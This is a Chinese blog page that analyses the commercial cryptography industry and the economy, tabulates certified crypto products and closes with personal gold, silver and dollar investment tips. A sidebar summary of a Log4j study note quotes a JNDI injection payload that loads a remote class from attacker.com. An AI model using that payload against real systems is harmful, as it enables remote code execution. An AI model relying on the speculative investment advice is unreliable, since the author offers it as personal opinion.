从经济的角度看未来-顺便聊一下密码行业

MCP+Skills 赋能APP渗透逆向,六阶段 Agent 流水线,打通 MCP 工具链实现 APP 安全自动化分析 本文的实现与思路,是对前辈经验和行业方法的一次学习与实践,若其中存在疏漏或不足之处,欢迎批评指正。目前也在继续尝试将这一体系进一步推向真正可落地的自动化方向,供更多安全研究与测试实践参考! 阅读详情
  • 一、背景

  2018年,东大和大美丽贸易战,本来可能就是买点豆子的问题,搞成了贸易战,不断加码,搞到了今天;期间我们有不少机会可以改变当前的处境,都错过了,当前东大和大美丽,小欧,大俄的关系似乎没有一个好的,面临全面的战略压力,可以想象压力之大。东大的三架马车,出口,投资,消费都是问题,未来经济下行的趋势很难改变(15-25year)。大美丽以国家安全为借口的各种制裁,东大势必强势发展自己的安全产业,安全的核心是密码技术,商用密码又是密码技术中用于保证非国家密码的核心技术,广泛用于各个领域。

  • 二、商用密码行业

上游产品标准化+下游需求定制化的行业属性,决定了中游厂商和客户的高度绑定。在由国家主导密码算法的模式下,密码产业链自上而下的环节主要分为:
1)上游:密码芯片、密码板卡/密码机;
2)中游:密码系统和密码解决方案;
3)下游:各类行业的定制化需求。

未来发展方向,以运营逐步取代卖设备,平台建设。

     常见的密码产品:VPN,密码机/签名验签服务器,密钥管理系统/密码服务平台,智能密码钥匙(USBKEY)/智能IC卡/SIM盾,协同签名系统。

截止到2025-03-04,商用密码厂商973个,在有效期内的商用密码产品如下表,相比大美丽的密码产品,我们在新的检测开始后,密码产品实现大爆发,我们的产品数量大概是大美丽的3倍了。从密码产品的研发上看,密码机一般4-5人业内人士,半年就差不多了,当前条件下,过检测已经算简单,按照这个思路其实不如彻底放开个人申请商用密码检测,将检测费用降低到免费,这样更有利于产品爆发!

标识ID

名称

数量

1

智能密码钥匙

132

1,2

智能密码钥匙,智能IC卡

1

10

服务器密码机

260

10,11

服务器密码机,签名验签服务器

1

10,6

服务器密码机,SSL VPN 产品/安全网关

1

10,9

服务器密码机,金融数据密码机

1

11

签名验签服务器

166

11,12

签名验签服务器,时间戳服务器

18

12

时间戳服务器

88

13

安全门禁系统

36

14

动态令牌,动态令牌认证系统

21

15

安全电子签章系统

124

16

电子文件密码应用系统

11

18

证书认证系统,证书认证密钥管理系统

201

18,19

证书认证系统,证书认证密钥管理系统,

对称密钥管理产品

1

19

对称密钥管理产品

46

2

智能IC卡

84

20

安全芯片

223

21

电子标签芯片

20

22

其他密码模块

1089

23

可信密码模块

13

24

智能IC卡密钥管理系统

4

25

云服务器密码机

71

26

随机数发生器

7

27

区块链密码模块

5

28

安全浏览器密码模块

13

3

POS密码应用系统

86

4

PCI-E/PCI密码卡

208

5

IPSecVPN产品/安全网关

173

5,6

IPSecVPN产品/安全网关,SSL VPN 产品/

安全网关

177

5,7,6

IPSecVPN产品/安全网关,安全认证网关,

SSL VPN 产品

/安全网关

20

6

SSL VPN 产品/安全网关

165

7

安全认证网关

64

8

密码键盘

33

9

金融数据密码机

55

总计

 

3618

商用密码产业规模达到了千亿,但是行业内没有任何一个企业的销售额达到行业的20%,竞争非常不充分。具了解,密码产品原创的少,厂商利用自己的关系OEM产品的很多,符合了2/8原则不奇怪。

我在网上找了某个密码产品的采购,其中部分如下,我的第一感觉是这是给全世界人民用的,贫穷限制了我的想象力,这得赚多少钱。

产品

数量

备注

密码服务平台

30套

密码服务平台(国产化)

10套

云服务器密码机

60台

云服务器密码机(国产化)

20台

签名验签服务器

60台

签名验签服务器(国产化)

20台

VPN综合网关

60台

VPN综合网关(国产化)

20台

  • 三、国企和民企的竞争

对国企的要求:理直气壮做强做优做大国企

对民企的要求:做大做优做强民企

一直以来,公有制为主体、多种所有制经济共同发展,作为主体地位的国企央企很明显有超级的优势,资源、政策、资金、人才等的支持都是民企完全无法相比的。国企一般占据垄断资源的源头,很多领域民企无法进入,各个方面都无法和国企比较。国企垄断了各种资源,但是效率一般都不行,这也是民企的优势所在。

在当前经济形势下,现在国企有市场,产品一般,自己研发又不行,这样OEM时,民企可以跟着喝点汤。东大很难去照顾民企,国家现有分配是内卷的内因,经济下行的情况下更是无法改变这种分配方式,一般的国企招聘都要求年龄控制在40岁以下,这种限制下民营企业真正骨干是无法进入国企的。如果有明白人突然改变将年龄限制改到50岁,那么国企很容易以最小代价收了民企的各种产品,特别是IT行业。

很多人都说大美丽通过加息降息收个全世界,其实在各个国家,各个领域都在做同样的事情,只是方式方法有点差异。

  • 四、美乌会议带来的超级影响

2025-02-28,在大美丽的会议室,建国给全世界上了一课,这让我想起了巴黎和会,弱国无外交,世界重新进入丛林法则。2025-03-04大美丽对东大加税10%,也停止对北极熊的网络战,联俄搞东大已经表现的非常明显了。东大面临大美丽,小欧,大俄的超级压力,未来只能走内循环。内循环证明很多机会集中到国企手中,大部分民企的最好的出路估计是被国企收了。

  • 五、商用密码的未来

在这样的大环境下,密码行业的未来国企要占主导地位。未来可能突破的可能是,几个排名靠前的CA(CFCA,北京CA,上海CA)其他可能被并购掉,密码设备现在排名靠前的三未,深信服,也慢慢会走向这个道路,启明星辰直接被中移动收掉了,未来国企会重新占主导地方,特别是三个电信运营商!

  • 六、扩展想一下

在AI领域,DeepSeek能火,资源超级多的国企为什么不行,很多地方都在谈为什么DeepSeek没有出现在我们这里,其实道理非常简单,垄断带来超额的利润,制度限制了人才的发展,资源越多越缺乏创造力,最根本的是其他各个地方治理能力不行!

  • 七、怎么办?

       趋势已经在这里了,既然是下行,那么就到上行的地方去,对很多人来说很难,不能乱讲。对于普通人来说保住工作吧,但凡能干就忍忍。大美丽很快会宣布降息,在大美丽降息的时候,东大肯定会跟着宽松,存款利润继续下调。在当前条件下应该怎么办:“勤俭节约,准备过冬”。按照当前的情况,2025年底经济多半会进入冬季,一个经济小周期约15年,未来15年的普通人怎么保护自己的当前仅有的一点财富。以下提供几个方式供参考,仅代表个人观点!

国内的投资品很多,其实普通人可以保值增值的非常少

1.黄金,长周期看,可以跑赢通货膨胀。站在未来看现在还是很便宜!

投资品:投资金条(最好是可回购),不是首饰,不是首饰,不是首饰!!!

熊猫金币也可以,注意官方承认的正规渠道购买,金的保真还是挺难的。

2.白银,货币属性和工业属性兼具,相比黄金工业用途更广,加上新能源的普及,未来会比黄金更疯狂,现在价格算非常便宜

投资品:投资银条(可回购),不是首饰,不是首饰,不是首饰!!!

熊猫银币,注意官方承认的正规渠道购买,银的保真还是挺难的。

3.$【这个符合大家应该知道的】,绝大部分国际大宗商用是以$的定价,通用性最强,注意不要搞欧元,欧元的下次危机很可能不远了,欧元区的经济发展承受不住高福利。如果长周期可选择等待澳大利亚元和加元到低位换一些【更正一下由于新上台的加拿大总理不是搞经济的材料,即使他之前干过英国的央行行长,还是持有$更好一点,澳大利亚元还是可以的,但加元相比¥还是好不少的;当前澳元已经开始走出上涨趋势,真正开启上涨需$宣布降息,大宗商品重新定价,以资源为锚的货币受益!】,建国在任期间会受到压制,但是未来是资源大涨的周期,后续可能比$更合适,需要耐心先换$,等资源货币的压制过去可以使用$直接换成资源货币,或者一直用$也可以。投资品:美元1年期定存(换了到银行存定期,相比¥的利息高不少的,比¥合适),换$现在很方便,在银行APP就可以操作。

大学生心理健康管理系统设计与实现:Spring Boot全栈开发指南 心理健康管理已成为高校学生工作的重点场景,如何用信息化手段提升心理测评、咨询预约与预警干预的效率,是当前教育信息化建设中的高频需求。围绕这一领域,开发者常采用Spring Boot、MyBatis Plus等主流Java技术栈,结合JWT无状态认证、数据库设计与RESTful接口,构建一套完整的业务闭环。系统的核心价值在于将心理测评、档案管理、预约排期与风险预警等流程标准化和自动化,既减轻心理中心工作负担,也利于管理层进行数据统计与决策分析。此类项目广泛应用于毕业设计、课程设计及中小型校园信息系统开发,具有 阅读详情

相关推荐

【十万字拆解】从零开始实现GPT-2(完整版)

本文是一篇 14 万字、从零硬核实现 GPT 的保姆级指南。内容全面覆盖四个阶段:①从最基础的 Bigram 语言模型切入,跑通数据处理与训练闭环;②仿照 Transformer 架构,深度研究 Multi-Head Attention、残差网络、LayerNorm 及 Dropout 的底层数学与代码实现;③从零构建BPE 分词器,对齐 GPT-2 规范;④从头搭建 GPT-1/2 工业级预训练流程,包含混合精度、梯度累积等十余项硬件级工程调优,并在 AutoDL 算力平台上从0开始训练!适合所有层次!

Pi_Nick的博客 1229

OSChina 周二乱弹 ——有一天你当了程序员巴巴

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34198583的博客 288

Kali Linux下John the Ripper实战:从识别yescrypt哈希到破解zip压缩包(保姆级避坑指南)

本文详细介绍了在Kali Linux中使用John the Ripper工具从识别yescrypt哈希到破解zip压缩包的全过程。针对常见的'No password hashes loaded'报错,提供了两种解决方案,并扩展讲解了哈希识别、zip文件破解及性能优化技巧,是安全测试人员的实用指南。

weixin_29323365的博客 236

程序员眼中的区块链

这是一篇从程序员视角看区块链的文章,将区块链落地为程序员能够理解的概念,比如图灵状态机,而状态机是一种状态模式,是事件驱动建模的核心。本文适合区块链入门阅读:不对称密码已...

架构文摘 1142

电子系统设计与创新实践作品:简易电子琴

题目 4:简易电子琴 (1)具有8个音阶按键,每个音阶按键频率如表1所示。 (2)每个按键对应LED显示。 (3)音阶信号经功放连接8欧姆扬声器,输出功率可达1W。 (4)每个音阶输出音量一样。 (5)扬声器输出音量可调节,音量调节分为高、中、低三档,并进行档位显示。

weixin_47510497的博客 2858

IEEE Transactions on Industrial Informatics(TII)投稿全流程解析:从准备到成功提交

本文详细解析了向IEEE Transactions on Industrial Informatics(TII)投稿的全流程,涵盖从投稿前的格式准备、内容结构优化到在线提交系统实操等关键环节。重点强调了遵守TII严格的格式规范、双盲评审要求以及如何构建有说服力的学术叙述,旨在帮助研究者提升稿件质量,顺利通过评审。

weixin_28396629的博客 1864

51c大模型~合集110

为了解决这一问题,在稠密化过程中,我们对容易引起退化和梯度集中的具有极端延展率的高斯面片进行了筛选,并对其增殖过程进行了限制,从而在不牺牲性能的情况下有效稳定了训练过程,保障了优化过程的顺利进行。大规模场景的重建往往还意味着显著的训练开销,要重建 1.97 平方千米的区域会产生接近两千万的高斯点,这意味着 4.6G 的存储以及 31.5G 的显存开销,以及超过三小时的训练时长。站在 AI 研究者的角度,得到了《苦涩的教训》,意味着在总结教训的过程中明确了什么是「更好」的。第二类则瞄准了相对复杂的问题。

whaosoft~aiotの开发板商城 2604

Gelsight Sensor 重建 height-map —— 使用 DST-II 算子的快速泊松求解

Gelsight Sensor 重建 height-map —— 使用 DST-II 算子的快速泊松求解 gelsight gelsight传感器具有软弹性体的接触表面,可以精确的重建物体形状还可以从传感器的变形推断接触力和滑动. 使用 DST-II 算子的快速泊松求解 height 文章:GelSight: High-Resolution Robot Tactile Sensors for Estimating Geometry and Force 文章最后求解的方程其实是: p=∂2u∂x2+∂

qq_42236622的博客 1243

湖南省网安基地网络安全培训:零基础入门与实战进阶的课程衔接

零基础学网安,怕跟不上;有基础再学,怕重复。本文按阶段拆解湖南省网安基地的网络安全培训衔接逻辑:能力评估定起点,基础阶段补系统与网络底座,核心阶段练漏洞复现,进阶阶段进入红蓝对抗与单位网络安全攻防演练,并说明 NISP、CISP 与网安实战人才的对应关系。

2401_84466325的博客 1025

MIPI D-PHYv2.5笔记(11) -- 高速时钟传输(High-Speed Clock Transmission)

在High-Speed模式中,Clock Lane提供了一个低摆幅(low-swing)、差分DDR时钟信号,此信号从Master到Slave,用于为高速数据传输提供时钟信号。时钟信号关于Forward Direction中的Data Lane上的位切换序列(toggling bit sequence)有正交相位,并且在一次burst的第一个被传输的bit的中心点有一个上升沿。

vivo01的专栏 3021

保姆级教程:用YOLOv5s训练PCB缺陷检测模型(附北大公开数据集)

本文提供了一份基于YOLOv5s的PCB缺陷检测模型从零开始的完整实战教程。详细解析了如何使用北大公开数据集,涵盖环境搭建、数据处理、模型训练、性能评估及优化部署全流程,并针对工业场景中常见的类别不均衡问题给出了具体解决方案,旨在帮助开发者快速构建高精度的自动化质检系统。

weixin_28285943的博客 308

直付通申请资质安全吗?靠谱吗?

风控规则的运行效果要定期复盘,拦截记录、误伤情况、处理时效都要看,规则持续优化,防护效果才能保持,动态调整的风控,比一成不变的规则更可靠,安全保障更到位,动态调整的风控更可靠,更有效,风控常复盘,规则常优化,防护更有效。资金记录的完整保存很重要,流水明细定期归档,账目随时可查,配合日常核对,资金安全尽在掌握,完善的记录习惯,既是风控要求,也是管理规范,长期坚持受益良多,更放心,流水留存好,随时可对账,管理更规范。方向更清晰,资质看清楚,边界问明白,判断更准确。更稳固,职责边界清,配合更默契,安全更有底。

qq_15110143的博客 350

电商数据采集实战——多平台价格监控、比价分析与智能告警系统

在电商竞争日益激烈的今天,价格监控与比价分析已成为品牌商、渠道商和消费者的核心需求。对于品牌商而言,需要监控各渠道售价是否低于指导价(破价监控);对于消费者而言,希望在最佳时机以最低价购入心仪商品;对于数据分析师而言,价格波动数据是洞察市场趋势的金矿。然而,电商数据采集面临三大核心挑战:本文将基于 Python + Scrapy + Playwright + Redis + ClickHouse 技术栈,构建一套完整的电商价格监控与比价系统。架构分层说明:电商平台的反爬手段层出不穷,采集系统必须具备多层次的

从事移动开发八年,csdn博客专家,阿里云特邀专家,华为云云享专家,高级网络信息安全工程师,大数据工程师(高级),python技术开发(高级),HarmonyOS 应用开发者高级认证,现在某学校任教。 136

‌7-Zip加密压缩包完整教程:AES-256加密、加密文件名与安全分享指南(2026最新)‌

‌给别人发压缩包,只设密码就够了吗?本文用 2026 最新版 7-Zip 讲透 AES-256 加密原理与实操,手把手教你设置密码、勾选加密文件名、分卷加密与自解压包,并给出强密码标准、密码传递方式和跨设备兼容建议,让敏感资料真正只对指定的人开放。

Helix250的博客 345

PCL 计算点云AABB包围盒的体积【2026最新版】

AABB包围盒又称了 轴对齐包围盒,是点云包围盒里最简单的一种,其计算方法也极其简单。获取包围盒之后,根据包围盒的长宽高进行体积计算即可!博客长期更新,本文最近一次更新时间为:2026年5月3日。

点云侠的博客 2295

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

闪控窗权限、隐私与安全合规要点【鸿蒙心迹】

本文基于一次审核打回案例,系统阐述HarmonyOS闪控窗合规落地方案:通过module.json5声明与运行时申请分离、when: inuse按需申请、悬浮窗常驻关闭按钮、设置页统一撤销入口,结合权限自检脚本,实现权限透明、可关闭、可解释的合规设计。文中拆解四段可复用代码的核心逻辑与易错点,附流程图与踩坑清单,助力开发者一次过审。

wdracky的专栏 128

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

防关联浏览器怎么设置更安全?从环境隔离到登录检查的操作步骤

本文介绍防关联浏览器的安全设置流程:先明确每个环境的用途与归属,再隔离浏览数据、核验实际网络出口和配置一致性,最后做好多因素认证、会话保护与变更记录。浏览器环境隔离有助于减少配置混用,但不能保证账号不会被关联或限制。

2601_96176203的博客 177

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 205

迪康端点安全一体化管理平台核心功能实践:从文档加密到行为审计

本文选取的文档透明加密、U 盘与外设管控、屏幕水印、终端审计、远程运维五项能力,分别对应了数据防护、通道管控、追溯取证和效率提升四个维度。除 U 盘外,平台构建了大范围的外设管理框架,对操作系统底层设备接口进行管控,可开启或禁止使用光驱、打印机、蓝牙、红外、串口、并口、1394、PCMCIA 和便携式设备,杜绝终端的物理外泄渠道。管理员可以使用交互模式、旁观模式、兼容模式、独占输入模式进行远程协助,兼容外部 VNC 服务,并内置远程画板功能,支持在远程画面上标注、圈画、批注,大幅提升排障沟通效率。

qq_43457377的博客 344

DeepAgents框架构建一个带有严格安全护栏的本地 Shell 执行环境。

核心亮点在于:通过精心设计的 System Prompt(系统提示词)强制约束大模型的行为,防止其通过操作系统底层的 Shell 命令绕过框架的虚拟沙箱,从而确保本地物理磁盘的绝对安全。DeepAgents 框架接入 DeepSeek 模型并构建一个带有严格安全护栏的本地 Shell 执行环境。

qq_42092076的博客 71

【2027计算机毕业设计】智慧工地安全巡检:隐患从上报到整改验收,闭环怎么落到表上

安全巡检」这类题,看着像普通的工单系统,其实考的是。老师最常问的一句是:「报了个隐患,然后呢?」——答不上来,这题就废了。拆一个真实项目(Spring Boot + MyBatis + MySQL,14 张表),把这条链讲清楚。

m0_48069349的博客 197

Claude API新版本重大变更与安全升级指南

Anthropic发布ClaudeAPI新版本,首次更新核心版本控制架构,引入多项破坏性变更。新版本移除采样参数(temperature/top_p/top_k),禁止Assistant文档块与用户文本引用,重命名管理与分析字段,并强制使用anthropic-version标头。官方SDK主版本同步升级至2.0.0及以上,身份验证改为Authorization: Bearer。开发者需锁定依赖、扫描代码、重构消息结构、双版本测试,以避免生产环境400错误,确保平滑迁移。

阡陌数智,专注大模型网关与 LLM 工程落地 378

从 NEAR Intents 事件看 NEAR 智能合约安全

2026年9月29日至10月1日,攻击者利用NEAR Intents存款退款处理中的校验缺陷,通过填充代币和恶意receiver合约触发超额退款请求,使回调失败后内部余额未被撤销,造成缺乏资产支持的可花费余额。攻击者据此从BNB Chain上的HOT Bridge金库七笔提现共转出3,865,021 USDT。项目方于10月2日部署修复、10月7日移除存款通知功能,并于同日宣布资金全额归还,后续事后报告确认受影响用户已获补偿。

BlockSec的博客 265

运营商云改数转安全落地实践|融合 4A 与数据安全服务案例

本实践依托保旺达在运营商行业长期沉淀的业务 know-how,以融合 4A 为核心抓手,联动数据安全、AI 安全管控能力,以平台建设 + 专项治理 + 持续运营的模式,匹配运营商云改数转转型节奏,解决异构云网环境下身份权限治理、敏感数据安全、新型 AI 应用风险等核心难题,为同类型省级运营商安全体系建设提供可落地参考。

KKKlucifer的博客 73

操作系统安全体系能到哪一步?卓伊凡:服务端看认证,Ubuntu看默认,欧拉看体系,鸿蒙是另一条路

操作系统安全体系当前已实现分层保障:内核级强制访问控制(如SELinux、AppArmor)、默认攻击面收窄、密码学加密与制度化测评构成四重防线。在官方测评中,华为欧拉V3、阿里云服务器等三款系统达Ⅰ级安全可靠标准,鸿蒙桌面则首获Ⅱ级认证。Ubuntu高版本默认安全工程化出色,但加固也可能引入新漏洞。欧拉与鸿蒙技术路线不同——前者为服务端Linux加固体系,后者为终端微内核+形式化验证架构,二者可协同构建“端云安全”,但不可混为一谈。安全本质是相对的,需结合场景、运维能力与测评体系理性选型。

一颗优雅草科技-央千澈的优快云博客~只想无穷无尽的学习~作息早8-晚8 156

【AI Agent面试系列】AI Agent可观测、评测、安全相关的知识点

之前的文章介绍了和,本文主要介绍AI Agent的测评、可观测等知识。

248
上一篇: SIM盾构建安全底座的障碍
下一篇: SIM盾技术原理
CissSimkey
博客等级 码龄8年 312粉丝 42原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值